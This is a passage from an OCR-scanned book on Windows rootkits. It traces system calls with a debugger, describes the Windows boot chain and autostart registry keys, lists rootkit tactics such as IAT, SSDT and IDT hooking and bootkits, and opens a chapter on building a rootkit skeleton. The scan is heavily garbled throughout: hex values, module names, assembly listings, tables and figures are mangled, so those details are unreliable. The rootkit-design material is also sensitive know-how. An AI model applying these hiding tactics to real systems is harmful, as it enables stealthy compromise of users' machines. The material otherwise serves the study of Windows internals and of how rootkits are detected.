Note how I specified the nt! prefix to ensure that I was dealing with symbols within the ntoskrnl. exe memory image. As you can see, calling the ZwReadFileO routine in kernel mode is not the same as calling NtReadFile() . If you look at the assembly code for ZwReadFile(), the routine loads the system service number corresponding to the procedure into EAX, sets up EDX as a pointer to the stack so that arguments can be copied during the system call, and then calls the system service dispatcher.
In the case of NtReadFile() , we simply jump to the system call and execute it. We make a direct jump from kernel mode to another kernel-mode procedure with a minimum amount of formal parameter checking and access rights validation. In the case of ZwReadFile() , because we're going through the KiSystemService() routine to get to the system call, the "previous mode" of the code (the mode of the instructions calling the system service) is explicitly set to kernel mode so that the whole process of checking parameters and access rights can proceed formally with the correct setting for previous mode. In other words, calling a Zw* () routine from kernel mode is preferred because it guarantees that information travels through the official channels in the appropriate manner.
Microsoft sums up this state of affairs in the Windows Driver Kit (WDK) Glossary:
NtXxx Routines
A set of routines used by user-mode components of the operating system to interact with kernel mode. Drivers must not call these routines; instead, drivers can perform the same operations by calling the ZwXxx routines.
In this example we'll examine what happens when program control jumps to
a system call implemented within the ntoskrnl. exe binary. Specifically, we look at what happens when we invoke the WriteFile() Windows API function. The prototype for this procedure is documented in the Windows SDK:
116
PorI I
HANDLE hFile, LPCVOIO IpBuffer, DWORD nNumberOfBytesToWrite, LPOWORD IpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped
Let's begin by analyzing the winlogon. exe binary with (db. exe. We can initiate a debugging session that targets this program via the following batch file:
set PATH=%PATH%jC:\Program Files\Debugging Tools for Windows set DBG_OPTIONS=-v set DBG_LOGFILE=-logo .\CdbgLogFile.txt set DBG_SYMBOLS=-y SRV*C:\Symbols*http://msdl .microsoft.com/download/symbols CDB .exe %DBG_LOGFILE% %DBG_SYMBOLS% .\winlogon.exe
If some of the options in this batch file are foreign to you, don't worry. I'll discuss Windows debuggers in more detail later on. Now that we've cranked up our debugger, let's disassemble the WriteFile() function to see where it leads us.
0:099> uf WriteFile kerne132!WriteFile+0x1f0: 7655dcfa ff75e4 push 7655dcfd eB8ae80300 call xor 7655dd02 33c0 7655dde4 e96dec0300 jmp kerne132!WriteFile+0xb2: 7655dd09 c745fc01eeeeee 7655dd10 c7060301eeee 7655dd16 8b46e8 7655dd19 8945d0 7655dd1c 8b46ec 7655ddlf 8945d4 7655dd22 8b4610 7655dd25 53 7655dd26 8d4dd0 7655dd29 51 7655dd2a ff7510 7655dd2d ff750c 7655dd30 56 7655dd31 8bc8 7655dd33 80e101 7655dd36 f6d9 7655dd38 1bc9 7655dd3a f7d1 7655dd3c 23ce 7655dd3e 51 7655dd3f 53 7655dd4e 50
mav mav mav mav mav mav mov push lea push push push push mav and neg sbb not and push push push
dword ptr [ebp-4],1 dword ptr [esi],103h eax,dword ptr [esi+8] dword ptr [ebp-30h],eax eax,dword ptr [esi+0Ch] dword ptr [ebp-2Ch],eax eax,dword ptr [esi+l0h] ebx ecx, [ebp- 30h] ecx dword ptr [ebp+l0h] dword ptr [ebp+OCh] esi ecx,eax cl,l cl ecx,ecx ecx ecx,esi ecx ebx eax
Port I
1117
7655dd41 57
7655dd42 ff 15f8115576
push
call
edi
dword ptr [kerneI32 ' _"mp __ NtWr"teF"le (765511f8)]
Looking at this listing (which I've truncated for the sake of brevity), the first thing you can see is that the WriteFile() API function has been implemented in the kerne132. dll. The last line of this listing is also important. It calls a routine located at an address (ex765511 f8) that's stored in a lookup table.
0:eee> dps 765511f8
76551 1f8 77bb9278 ntdll'ZwWrlteFlle
Hence, the Wri teFile () code in kerne132. dll ends up calling a function that has been exported by ntdll. dll. Now we're getting somewhere.
0:eee> uf ntdll!ZWWriteFile ntdll!ZWWriteFile: mov 77bb9278 b86301aaaa 77bb927d baeee3fe7f mov call 77bb9282 ff12 ret 77bb9284 c22409
As you can see, this isn't really the implementation ofthe ZwWriteFile() native API call. Instead, it's just a stub routine residing in ntdll. dll that ends up calling the KiFastSystemCall function. The KiFastSystemCall function executes the SYSENTER instruction. Notice how the system service number for the ZwWri teFile() native call (i.e., ex163) is loaded into the EAX register in the stub code, well in advance of the SYSENTER instruction.
0:eee> dps 7ffe0300 7ffe0300 77daaf30 ntdll!KiFastSystemCall 7ffe0304 77daaf34 ntdll!KiFast5ystemCallRet 7ffe0308 aaaaaaaa 0:eee> uf ntdll!KiFastSystemCall ntdll!KiFast5ystemCall: mov edx,esp 77daaf30 8bd4 sysenter 77daaf32 af34 ret 77daaf34 c3
118
Part I
As discussed earlier, the SYSENTER instruction compels program control to jump to the KiFastCallEntry() routine in ntoskrn1. exe. This will lead to the invocation of the system service dispatcher (i.e., KiSystemService ( , which will use the system service number fed to it (in this case eJx163) to call the native NtWriteFileO procedure. This whole programmatic song and dance is best summarized by Figure 3-7.
BlXJL WItI A IJn ttc-r 11 pC) PI
Winlogon.pxe
Figure 3-7
Port I 1119
Ntoskrnl exe
I
Configuration
J
Executive
Support
fiKilith~s
I
S'f1tem
Initialization
I
System C. ll s IZw< ()
I
Kernel local
Image loading facilities
Cache
Debug.r
Facilities Dbg<O
Manager
(m<O
Manager (c<O
X<O
Debugger
Facilities Kd<O
Pro<.eodure Call
f acility lpc< 0
ldr <O
I/O
Manaler 10<0
Memory Manager
flo <0
Power
Process
Manager
Po <O
&Thread
Manilger
Ps <O
Sewrity
,
Transaction
Reference
Monitor
Facilities
T~<
Se<O
()
KemelMode Driver1
II
Hardwar.
Kernel Ko<O
l
(,
hal.dIlIHal< 0)
Figure 3-8
>
Note: Not all of the elements within ntoskrnLexe in Figure 3 -8 are full-blown executive subsystems. Some of the elements merely represent groups of related support functi ons. In some instances I've indicated this exp licitly by qua lifying certain executive elements in Figure 3-8 as "facilities." Likewise, official subsystems have been la be led as "managers ." In addition, while I've tried to arrange some elements to indicate their functional role in the greater scheme of things, most of the executive components have been arranged alphabetically from left to right and top to bottom.
To make the association between these system-level routines and the role that they play more apparent, Microsoft has established a naming scheme for all system-level functions (not just routines exported by ntoskrnl. exe). Specifically, the following convention has been adopted for identifiers: Prefix-Operation-Object
120 I Port I
The first few characters of the name consist of a prefix that denotes to which subsystem or general domain of functionality that the routine belongs. In Figure 3-8, you'll see that I've included the function prefixes for the routines implemented by different system components. The last few characters usually (but not always) specify an object that is being manipulated. Sandwiched between the prefix and object name is a verb that indicates what action is being taken. For example, ntoskrnl. exe file exports a routine named MmPageEntireDriver() that's implemented within the memory manager and causes all of a driver's code and data to be made pageable. Table 3-8 provides a partial list of function prefixes and their associated kernel-mode components.
Table 3-8
Prefix
Cc Cm Obg Ex FsRtl Hal Inbv Init Interlocked
10
K ernel-Mode Component Cache Manager Configuration Manager Debugging Facilities Executive Support Facilities File System Runtime library Hardw Abstraction Layer are System Initialization System Initialization Executive Facilities Input/Output Manager Kernel Debugger Facilities Kernel Executive Facilities Image Loader Facilities Local Procedure Call Facility Local Security Authentication Memory Manager Executive Facilties Executive Facilities Object Manager Power Manager Plug-and-Play Manager
D escrtptlon Implements caching for all file system drivers Implements the Windows registry Implements break points, symbol loading, and debug output Provides synchronization services and heap management Used by kernel-mode file systems and file system filter drivers Insulates the operating system and drivers from the hardware Bootstrap video routines Controls how the operating system starts up Implements thread-safe variable manipulation Manages communication with kernel-mode drivers Reports on and manipulates the state of the kernel debugger Implements low-level scheduling and synchronization Kernel interrupt handling Support the loading of executables into memory Supports an IPC mechanism for local software components Manages user account rights Implements the system's virtual address space Native language support Native API calls Implements an object model that covers all system resources Handles the creation and propagation of power events Identifies and loads drivers for plug-and-play devices
Nls Nt O b Po Pp
Part I 1121
Prefix
Ps
K errrel-Mode Component Process and Thread Manager Runtime library Security Reference Monitor Transaction Facilities Executive Facilities
D esmptlon Builds upon kernel, provides higher-level process/thread services General support routines for other kernel components Validates permissions at run time when accessing objects Provides support for transaction management Native API calls (that ensure the proper ' previous mode' )
Rtl
Se
Tm
Zw
These sources are listed according to their degree of clarity. In the optimal scenario, the routine will be described in the Windows Driver Kit (WDK) documentation. Specifically, there are a number of kernel-mode functions documented in the WDK online help under the following path: Windows Driver Kit 1 Kernel-Mode Driver Architecture 1 Reference 1 Driver Support Routines There's also MSDN online at http://msdn.microsoft . com. You can visit their Support page and perform a general search as part of your campaign to ferret out information. This web site is hit or miss. You tend to either get good information immediately or nothing at all.
If you search Microsoft's official documentation and strike out, you can always try documentation that's been compiled by third-party sources. There are a number of books and articles that have appeared over the years that might be helpful. Table 3-9 offers a chronological list of noteworthy attempts to document the undocumented. If formal documentation fails you, another avenue of approach is to troll through the header files that come with the Windows Driver Kit (e.g., ntddk. h, ntdef. h) and the Windows SDK (e.g., winternl. h). Occasionally
1221 Port I
you'll run into some embedded comments that shed a little light on what things represent. Your final recourse, naturally, is to disassemble and examine debugger symbols. Disassembled code is the ultimate authority, there is no disputing it. Furthermore, I'd warrant that more than a handful of the discoveries about undocumented Windows features were originally gathered via this last option, so it pays to be familiar with a kernel debugger (see Chapter 4 for more on this). Just be warned that the engineers at Microsoft are well aware of this and sometimes attempt to protect more sensitive regions of code through obfuscation and misdirection. Table 39
Tille AUlhor(s) Schulman, Maxey, and Pietrek Mork Russinovich Dobok, Phodke, and Borote Sven Schreiber Gory Nebbet Sven Schreiber The Metosploit Project Publisher Addison-Wesley, August 1992 Sysinternols.com, 1998 Hungry Minds, October 1999
Undocumented Windows
' Inside the Native API"
Undocumented Windows NT
' Inside Windows NT System Data"
Here's an example of what I'm talking about. If you look in the WDK online help for details on the OBJECT_ATTRIBUTES structure, this is what you'll find:
The OBJECT_AITRIB UTES structure is an opaque structure that specifies the properties of an object handle. Use the InitializeObjectAttributes routine to set the members of this structure.
Okay, they told us that the structure was "opaque." In other words, they've admitted that they aren't going to give us any details outright. But, if you look in the ntdef. h header file, you'll hit pay dirt.
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length; HANDLE RootDirectory; PUNICDDE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; II Points to type SECURITY_DESCRIPTOR PVOID SecurityQualityOfService; II Points to type SECURITY_QUALITY_OF_SERVICE } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
Port I 1123
This tells us quite a bit about the sort of information that we can extract. We can also get this same sort of information by cranking up a kernel debugger.
8: kd> dt +0xeee +0x864 +0x0BS +0x0Bc +0x818 +0x814 _OBJECT_ATTRIBUTES Length RootDirectory ObjectName Attributes SecurityDescriptor SecurityQualityOfService : : : : : : Uint48 ptr32 Void ptr32 _UNICODE_STRING Uint48 ptr32 Void ptr32 Void
Thus, even when Microsoft refuses to spoon-feed us with information, there are ways to poke your head behind the curtain.
124
Port I
active partition's boot sector, known as the volume boot record (yBR), is the first sector of the partition and it also contains a modest snippet of boot code.
Boot Code
Boot Sector
Boot Sector
Primary Partition 2
Boot Sector
Boot Sector
Figure 39
>
Note: If the first bootable device encountered by the BIOS is not a hard disk (e.g., perhaps it's a bootable DVD or a floppy diskette) the BIOS will load that device's VBR into memory. Thus, regardless of what happens, one way or another a VBR ends up being executed.
The boot code in the VBR can read the partition's file system just well enough to locate a 16-bit boot manager program whose path is %SystemDrive%\bootmgr. This 16-bit code has been grafted onto the front of a 32-bit boot manager such that the bootmgr binary is actually two executables that have been concatenated. If the version of Windows installed is 64-bit, the bootmgr will contain 64-bit machine instructions. The 16-bit Part I 1125
stub executes in real mode, just like the code in the MBR and the VBR. It sets up the necessary data structures, switches the machine into protected mode, and then loads the protected mode version of the boot manager into memory.
You can examine the BCD file in its "naked" registry format with regedi t. exe. In Vista, the BCD hive is mounted under HKLM\BCDeeeeeeee. For a friendlier user interface, however, the tool of choice for manipulating BCD is bcdedi t. exe. A BCD store will almost always have at least two elements: A single Windows boot manager object One or more Windows boot loader objects
126
Part I
The boot manager object (known as registry subkey {9dea862c-5cdd-4e713accl-f32b344d4795}, or its bcdedit. exe alias {bootmgr}) controls how the character-based boot manager screen is set up as a whole (e.g., the number of entries in the operating system menu, the entries for the boot tool menu, the default timeout, etc.). The boot loader objects (which are stored in the BCD hive under random GUIDs) represent different configurations of the operating system (i.e., one might be used for debugging, and another configuration might be used for normal operation, etc.). The boot manager can understand Windows file systems well enough to open and digest the BCD store. If the configuration store only contains a single boot loader object, the boot manager will not display its character-based Ul. You can view BCD objects with the / enum command:
C:\Users\sysop>bcdedit /enum Windows Boot Manager identifier device description locale inherit default resumeobject displayorder toolsdisplayorder timeout Windows Boot Loader identifier device path description locale inherit osdevice systemroot resumeobject nx {current} partition=C: \Windows\system32\winload.exe Microsoft Windows Vista en-US {bootloadersettings} partition=C: \Windows {f6919271-f69c-lldc -b8b7-a3cS9d94d88b} OptIn {bootmgr} partition=C: Windows Boot Manager en-US {globalsettings} {current} {f6919271-f69c-lldc-b8b7-a3cS9d94d88b} {current} {memdiag}
30
Port I 1127
%SystemRoot%\System32 directory. The winload. exe program is the successor to the NTLDR program, which was used to load the operating system in older versions of Windows. The win load . exe program begins by loading the SYSTEM registry hive. This binary file that stores this hive is named SYSTEM and is located in the %SystemRoot%\System32\config directory. The SYSTEM registry hive is mounted in the registry under HKLM\SYSTEM. Next, winload . exe performs a test to verify the integrity of its own image. It does this by loading the digital signature catalog file (nt5. cat), which is located in: %SystemRoot%\System32\CatRoot\{F750E6C3-38EE-llDl-85E5-00C04FC295EE}\ Win load . exe compares the signature of its in-memory image against that in nt5. cat. If the signatures don't match, winload. exe will come to a screeching halt. An exception to this rule exists if the machine is connected to a kernel-mode debugger (though Windows will still issue a stern warning to the debugger's console). After verifying its own image, winload . exe will load ntoskrnl. exe and hal. dll into memory. If kernel debugging has been enabled, winload. exe will also load the kernel-mode driver that corresponds to the debugger's configured mode of communication: kdcom. dll for communication via null modem cable kd1394. dll for communication via IEEE1394 (UFireWire") cable kdusb. dll for communication via USB 2.0 debug cable
If the integrity checks do not fail, the DLLs imported by ntoskrnl. exe are
loaded, have their digital signatures verified against those in nt5. cat (if integrity checking has been enabled), and are then initialized. These DLLs are loaded in the following order: pshed.dll bootvid . dll clfs.sys
ci.dll Once these DLLs have been loaded, win load . exe scans through all of the subkeys in the registry located under the following key (see Figure 3-10): HKLM\SYSTEM\CurrentControlSet\Services
1281 Port I
Data
(value: not set)
MIcrosoft AC PI Oriver
0>0000000 1 (3)
800t Bus Extender
s~ em3l\d rivl!r$\ lI cp i.sys
CurrentControlSf!t Control
Enum
Ha rdw'rI~
Profiles
Figure 3-10
The many subkeys of this key (ac97intc, ACPI, adp94xx, etc.) specify both services and device drivers. Winload . exe looks for device drivers that belong in the boot class category. Specifically, these will be registry keys that include a REG_DWORD value named Start that is equal to exeeeeeeee. According to the macros defined in the winnt. h header file, this indicates a SERVICE_ BOOT_START driver. For example, in Figure 3-10, we have the Advanced Configuration and Power Interface (ACPI) driver in focus . By looking at the list of values in the right-hand pane, we can see that this is a "boot class" driver because the Start value is zero.
If integrity checks have been enabled, win load . exe will require the digital signatures of these drivers to be verified against those in ntS. cat as the drivers are loaded. If an integrity check fails, win load . exe will halt unless kernel-mode debugging has been enabled (at which point it will issue a warning that will appear on the debugger's console).
However, there is an exception to this exception. If integrity checks have been enabled, and even if kernel-mode debugging has been enabled, win load . exe will still halt if one of the following binaries (listed in alphabetical order) fails its integrity check: bootvid. dll cLdll clfs.sys hal.dll
Port I 11 29
Aside
If you'd like to see the "what," "when," and "where" of module loading during system startup, the best source of information is a boot log. The following BCDEdit command will configure Windows to create a log file named Ntbtlog. txt in the %SystemRoot% directory:
Bcdedit.exe /set BOOT LOG TRUE
The log file that gets generated will provide a chronological list of modules that are loaded during the boot process and where they are located in the Windows directory structure. Naturally, it will be easy to identify boot class drivers because they will appear earlier in the list.
Loaded Loaded Loaded Loaded Loaded Loaded driver driver driver driver driver driver \SystemRoot\system32\ntoskrnl.exe \SystemRoot\system32\hal.dll \SystemRoot\system32\kdcom .dll \SystemRoot\system32\PSHED.dll \SystemRoot\system32\BOOTVID.dll \SystemRoot\system32\CLFS.SYS
The last few steps that winload. exe performs is to enable protected-mode paging (note, I said "enable" paging, not build the page tables), save the boot log, and transfer control to ntoskrnl. exe.
130
Port I
builds the page tables and other internal data structures needed to support a two-ring memory model. The HAL configures the interrupt controller, populates the IVT, and enables interrupts. The SSDT is built and the ntdll. dll module is loaded into memory. Yada, yada, yada .... In fact, there's so much that happens (enough to fill a couple of chapters) that, rather than try to cover everything in depth, I'm going to focus on a couple of steps that might be of interest to someone building a rootkit. One of the more notable chores that the executive performs during this phase of system startup is to scan the registry for system class drivers and services. As mentioned before, these sorts of items are listed in subkeys under the HKLM\SYSTEM\CurrentControlSet\Services key. To this end, there are two REG_DWORD values in these subkeys that are particularly important: Start, which dictates when the driver/service is loaded Type, which indicates if the subkey represents a driver or a service.
The integer literals that the Start and Type values can assume are derived from macro definitions in the winnt . h header file. Hence, the executive searches through the Services key for subkeys where the Start value is equal to 0x00000001.
If driver-signing integrity checks have been enabled, the executive will use code integrity routines in the ci. dlllibrary to vet the digital signature of each system class driver (many of these same cryptographic routines have been statically linked into win load . exe so that it can verify signatures without a DLL). If the driver fails the signature test it is not allowed to load. I'll discuss driver signing and code integrity facilities in more detail later on.
IIKernel-mode driver IIFile system driver service Ilreserved Ilreserved Ilhas its own process space Iishares a process space II can interact with desktop
II
I I Start Type
II
#define SERVICE_BOOT_START #define SERVICE_SYSTEM_START 8xeeeeeeee I/"boot class" driver 8xeeeeeeel I/"system class" driverlservice
Part I 1131
exeeeeeee3 / /lIIJst
By default, the BootExecute value specifies the autochk. exe program. In addition to other minor tasks, like setting up the system environmental variables, the Session Manager performs essential tasks, like starting the Windows subsystem. This implies that the smss. exe is a native application (i.e., it relies exclusively on the native API) because it executes before the subsystem that supports the Windows API is loaded. You can verify this by viewing the imports of smss . exe with the dumpbin. exe utility. Recall that the Windows subsystem has two parts: a kernel-mode driver named win32k. sys and a user-mode component named csrss. exe. Smss. exe initiates the loading of the Windows subsystem by looking for a value named KMode in the registry under the key:
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SubSystems\
The KMode value could be any kernel-mode driver, but most of the time this value is set to \SystemRoot\System32\win32k. sys. When smss. exe loads and initiates execution of the win32k. sys driver, it allows Windows to switch from VGA mode that the boot video driver supports to the default graphic mode supported by win32k. sys. After loading the win32k. sys driver, smss. exe pre-loads "known" DLLs. These DLLs are listed under the following registry key:
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs\
These DLLs are loaded under the auspices of the local SYSTEM account. Hence, system administrators would be well advised to be careful what ends up under this registry key ( ... ahem).
132
Part I
Now, the Session Manager wouldn't be living up to its namesake if it didn't manage sessions. Hence, during startup, smss. exe creates two sessions (0 and 1, respectively). Smss . exe does this by creating two new instances of itself that run in parallel, one for session 0 and one for session 1. Session 0 hosts the init process Session 1 hosts the logon process
To this end, the new instances of smss. exe must have Windows subsystems in place to support their sessions. Having already loaded the kernel mode portion of the subsystem (win32k. sys), smss. exe looks for the location of the subsystem's user mode portion under the following registry key:
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SubSystems\
Specifically, smss . exe looks for a value named Required, which typically points to two other values under the same key named Debug and Windows. Normally, the Debug value is empty and the Windows value identifies the csrss. exe executable. Once smss. exe loads and initiates csrss. exe, it enables the sessions to support user-mode applications that make calls to the Windows API. Next, the session 0 version of smss. exe launches the winini t. exe process and the session 1 version of smss. exe launches the win logon . exe process. Having done this, the initial instance of smss . exe waits in a loop and listens for LPC requests to spawn additional subsystems, create new sessions, or to shut down the system. One way to view the results of this whole process is with SysInternal's Process Explorer tool, as seen in Figure 3-11. I've included the Session ID column to help make things clearer. Notice how both winini t. exe and win logon . exe reside directly under the user-mode subsystem component, csrss.exe.
nI.
SITISS.exe s l!J_
l!Jesm.exe
4 35G
.exe
420 4601
S l!J oeMces.exe
20 2268 2448
3000 J68.I
4048
O .1Ii
Figure 311
Port I 1133
Wininit.exe
The Windows init process creates three child processes: The Local Security Authority Subsystem (lsass . exe), the Service Control Manager (services. exe), and the Local Session Manager (Ism. exe). The Local Security Authority Subsystem sits in a loop listening for security-related requests via LPC. For example, lsass. exe plays a key role in performing user authentication, enforcing the local system security policy, and issuing security audit messages to the event log. The Service Control Manager (SCM) loads and starts all drivers and services that are designated as SERVICE_AUTO_ START in the registry. The SCM also serves as the point of contact for service-related requests originating from user-mode applications. The Local Session Manager handles connections to the machine made via terminal services.
Winlogon.exe
The win logon . exe handles user logons. Initially, it runs the logon User Interface Host (logonui. exe), which displays the screen prompting the user to press Ctrl +Alt + Delete. The logonui. exe process, in turn, passes the credentials it receives to the Local Security Authority (i.e., lsass. exe). If the logon is a success, winlogon . exe launches the applications specified by the User Ini t and Shell values under the following key:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\
By default, the Userlni t value identifies the userinit. exe program and the Shell value identifies the explorer. exe program (Windows Explorer). The userini t. exe process has a role in the processing of group policy objects. It also cycles through the following registry keys and directories to launch startup programs and scripts.
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\ %SystemDrive%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ %SystemDrive%\Users\%USERNAME%\AppOata\Roaming\Microsoft\Windows\Start Menu
134
Port I
speaking). Figure 3-12 depicts the general chain of events that occurs and Figure 3-13 displays the full file path of the major players.
bootmgr
bootmgfw.efi
win l oad e xe Integrity Self-che ck
Initialize subsystems,
build , y,tem
structure s
Figure 3-12
I3t) SystemDrivel3t) \ boot mgr
Boo t M ol n.1Cr Pha sc
HKLJ1\ B(OOOOOOOOO\
13t)Sys temO,. i vetl ' EFI\Microso'ft\ Boot \ Bootmgfw . f1 XSysteml)-1veX\ EFI \ll1cros oft \ Boot \ BCD as HKLJ1\ B(IlOOOOOOO0\
Launches XSystemRootX\ Sys tem32 \ autochk . exe loads x.sys temRootX\ System32\win31k . sys
'lrurtt'
,,,,,.tt,
exe XSyst ...RootX\ Sys t..,32 \ coofig\ SYSTE I1 a, HKLJ1\ SYSTEl1\ Scans H KU1\ SYSTE H\(urrent(ortrol Set \ Services \ f er "8cN:Jt clas s" df'i ve,s
ex. ldlalChes x.systetttRoatX\SystenI31\ l s ds s. e ke launches ~ystetRoat"\ Sys tem32 \ l sm . e ke launches xs,ystenRootX\Sys tem32\ s ef'vices .exe
Exc<utlvc Ph .. sc VSy s t.mRoot ~ \Sys tem32\ nto s k,..n 1 . ex. Scans Se,~vi ces key fo' "Syst elll class" dl'1 vets and services IMpa't s the foll Ooling librrv'ies XSyst emRootXlSyst..,31\ (kdcan . dlllkd1394 . 'YS Ikdusb. dll} XSys teoRootXl Sys tem31 \ p,hed. dll XSys temRootXlSys t ... 31 \ boot vi d . dll %SystemR oatX\ System32\ cl f s . s ys XSyst..,RootX\ Syst..,31 \ c1 . dll
~ Syst.m Root ~ \ Syst.m32 \ h a1 . d11
Session 1
~ Syst.m Root" \S y stem32\ w ln1ogon .
e x. lclUOChes x'systelllR.ootX\ Sys tenl3l \ l ogooUl .exe launches ~ys t~oatX\ Sys tetll3 2 \ userinl t . e xe launches x'systemRootX\ Syste.d2 \ e xplerer. e xe
Figure 3-13
Par t I 1135
utilize a full-blown four-ring memory protection scheme in favor of a simpler two-ring architecture that implements a flat segment model and relies heavily on the User/Supervisor flag in the system's PDEs and PTEs.
The resulting page-based bookkeeping strategy allocates a 4 GB linear address space to every process. Each process has its own private copy of the same linear address range known as user space (on IA-32, by default, this range starts at address exeeeeeeee and ends at address ex7FFFFFFF). User space is marked in the paging structures as user-level memory. At the same time, by default, the remaining 2 GB portion of each 4 GB linear address space (i.e., exseeeeeee to exFFFFFFFF) maps to a single region of physical memory that's reserved exclusively for the operating system, and is marked in the paging structures as supervisor-level memory. This upper 2 GB region is kernel space. Machine instructions running in user space execute in a restricted manner called user mode, such that they can't directly communicate with hardware, use privileged machine instructions, or reference addresses in kernel space. The system code and device drivers located in kernel space execute without any these limitations, and code in this region is said to be operating in kernel mode. Nevertheless, don't fall into the trap of thinking that kernel-space code
136 1 Port I
executes independently of user-space code. The two regions of memory aren't completely autonomous. Rather, threads of execution can meander back and forth across the dividing line, gracefully slipping up into kernel space as necessary and then returning back into user space. Now that we understand the distinction between user mode and kernel mode, we can address the following two design issues: How will our rootkit execute at run time? What constructs will our rootkit manipulate?
Port I 1137
Perhaps what's needed is a compromise. We'd like access to the kernel while still being able to employ the rich functionality provided by the Windows API. This scenario can be realized with a hybrid rootkit, one that has components residing both in user space and kernel space simultaneously. In the next chapter I'll show you how to flesh out this sort of design.
138
Part I
Patch Memory Imoce (notive API coli) Hookl nc 1 ntel (lOT, GOT, SYSENTR) Potch Binary File (ntoskrnl.exe)
Kerne l Space
Rocue MBR
Potch Memory Imoce (Windows API call ) Potch Blnory File (Iexplore.exe)
Code
Dati Structures
Type of Software Construct
Figure 3-14
Tactic Summ ary 1. Hook th e IAT 2. M odi fy User Space Co de 3. Hook SYS ENTER 4. Hook th e IDT 5. Inject GOT Entries 6. Hook the SSDT 7. Hook an IRP 8. Modify Kernel Space Co de 9. Install a Boo tkit 10. Alter Kernel Objects 11. Install Filter Driver s
UserApp.exe
I/o ManaEer
II II ~,p,
Figure 3-15
Part I 1139
Chapter 4
91910010, 91191111, 91191111, 91119100, 91191911, 91191001, 91119100, 91110011, 0010000e, 91000011, 91001009, 00119100
Rootkit Basics
Now that the prerequisite material regarding the IA-32 processor and Windows has been covered, we're ready to start focusing on rootkits. This chapter begins with a review of the development tools. Next, you'll receive a field-expedient briefing on Windows device driver theory. Device driver implementation is a topic easily worthy of an entire book by itself. In fact, I'd highly recommend reading a book on device driver theory to help fill in gaps once you've mastered the basics. Walter Oney's book, Programming the Windows Driver Model, 2nd Edition, is the standard reference.
If you've never created a device driver before, my synopsis should provide you with what you need to sufficiently understand the rootkit skeleton presented herein. This skeletal rootkit won't directly take steps to conceal its presence. Rather, it will serve as a foundation that you can build on while designing your own rootkit.
This chapter also investigates a number of more mundane topics, like different ways to load a driver, how to launch a rootkit, and synchronization. While these issues may seem minor from a global perspective, they're relevant from an operational point of view and worth taking time to consider. Solid delivery and management features are the hallmark of well-written production software. Finally, this chapter concludes with a look at some of the countermeasures that Microsoft has instituted to make life more difficult for us: kernel-mode code signing, kernel patch protection, and restricting access to the \D evice \ Physicalmemory object. While many of these new features don't necessarily apply to us (because we're focusing on the 32-bit versions of Windows), they're interesting because they demonstrate where the battlefront may be headed over the long run.
141
Development Tools
If you wanted to be a true minimalist, you could get away with just installing the Windows Driver Kit (WDK,1formerly known as the Windows DDK). This will give you everything you need to develop kernel-mode software, including the official documentation. Nevertheless, in my opinion, there are still holes that can be addressed with other free tools from Microsoft.
In the event that your rootkit will have components that reside in user space, the Windows SDK is a valuable package. In addition to providing the header files and libraries that you'll need, the SDK ships with MSDN documentation relating to the Windows API and COM development. The clarity and depth of the material is a pleasant surprise. The SDK also ships with handy tools like the Resource Compiler (RC) and dumpbin. exe, which appears in this book repeatedly. Though the topic of integrated development environment (IDE) has been known to spark religious wars, Microsoft does offer a free lightweight version of Visual Studio called Visual Studio Express. 2 This package ships with a fairly standard editor. What I like most about Visual Studio Express is the documentation that it ships with. A full install of Visual Studio Express includes the C/C+ + language reference, detailed coverage of the C Run-Time Library (CRT) functions, and complete coverage of Microsoft's standard development tools (el. exe, link. exe, nmake. exe, etc.). When it comes to Visual Studio Express, however, there is one caveat you should be aware of. In the words of Microsoft, "Visual C++ no longer supports the ability to export a makefile for the active project from the
1 http://www.microsoft.com/whdc/devtoois/wdk/default.mspx 2 http://www.microsoft.com/express/
142
Port I
development environment." In other words, they're trying to encourage you to stay within the confines of the IDE. Do things their way or don't do them at all. Finally, there may be instances in which you'll need to develop 16-bit real-mode executables. For example, you may be building your own boot loader code. By default, IA-32 machines start up in real mode such that boot code must execute 16-bit instructions until the jump to protected mode can be orchestrated. With this in mind, the Windows Server 2003 Device Driver Kit (DDK) ships with 16-bit development tools. If you're feeling courageous, you can also try an open source solution like Open Watcom3 that, for historical reasons, still supports real mode. I used Open Watcom for a couple of examples in this chapter (you'll see this in the build scripts).
Diagnostic Tools
Once you're done building your rootkit, there are diagnostic tools you can use to monitor your system in an effort to verify that your rootkit is doing what it should. Microsoft, for instance, includes a tool called drivers. exe in the WDK that lists all of the drivers that have been installed. Windows also ships with built-in commands like netstat. exe and tasklist. exe that can be used to enumerate network connections and execute tasks. Resource kits have also been known to contain the occasional gem. Nevertheless, Microsoft's diagnostic tools have always seemed to be lacking with regard to offering real-time snapshots of machine behavior. Since its initial release in the mid-1990s, the Sysinternals suite was such a successful and powerful collection of tools that people often wondered why Microsoft didn't come out with an equivalent set of utilities. In July of 2006, Microsoft addressed this shortcoming by acquiring Sysinternals. 4 The entire suite of tools fits into an 8 MB zip file and I would highly recommend downloading this package. Before Sysinternals was assimilated by Microsoft, they used to give away the source code for several of their tools (both regmon. exe and filemon. exe come to mind). Being accomplished developers, the original founders often discovered novel ways of accessing undocumented system objects. It should come as no surprise, then, that the people who design rootkits were able to leverage this code for their own purposes. If you can get your hands on one of these older versions, the source code is worth a read.
3
4
http://www.openwatcom.org/index.php/Main_Page http://technet.microsoft.comlen-uslsysinternalsldefault.aspx
Port I 1143
Reversing Tools
